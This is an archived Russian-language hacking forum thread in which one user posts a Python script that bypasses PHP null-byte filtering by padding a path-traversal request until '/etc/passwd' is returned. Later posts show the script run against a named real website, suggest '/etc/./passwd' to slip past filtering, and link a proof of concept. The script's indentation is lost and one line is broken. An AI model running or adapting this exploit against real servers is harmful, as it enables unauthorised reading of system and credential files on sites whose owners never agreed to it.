PDA

Просмотр полной версии : Обход фильтрации нуль байта


overxor
07.09.2010, 23:58
Данный метод работает во всех версиях php кроме последней 5.3.3

Смысл в том, чтобы забивать путь в начале файла произвольными символами.


Code:
#!/usr/bin/env python
# Null byte filter bypass
import urllib, sys

if len(sys.argv) [file] [true]: "
exit()

file = "../../../../../../../etc/passwd";
true = "root"

if len(sys.argv) > 3:
file = sys.argv[2]
true = sys.argv[3]

url = sys.argv[1]

for i in xrange(900, 4096):
sys.stderr.write("\rTry: " + str(i))

d = "t" * i
try:
fd = urllib.urlopen(url + d + file)
except:
print "Error connect"
sys.exit(1)

data = fd.read()
fd.close()

if data.find(true) > -1:
print '\n', data
exit(0)

overxor
08.09.2010, 12:18
На это и нацелен скрипт. чтобы обходить magic quotes.

Иначе смысл было бы создавать тред.

chekist
09.09.2010, 02:20
чё за бред, ни фига не пашет (5.2.6)

overxor
09.09.2010, 14:28
Не согласен, вполне нормально работает.

К примеру:

python fazzer.py "http://www.bela.bg/?page_id=9&article_id=1000220&coments=yes&page="

Try: 4041

Возможно у тебя selinux блочит запросы напрямую в урле, если видит /etc/passwd. Пробуй /etc/./passwd

Если не получится скинь в приват, я посмотрю.

DrakonHaSh
09.09.2010, 15:54
все работает, ~POC:

http://devteev.blogspot.com/2010/08/null-byte.html

за реализацию спасибки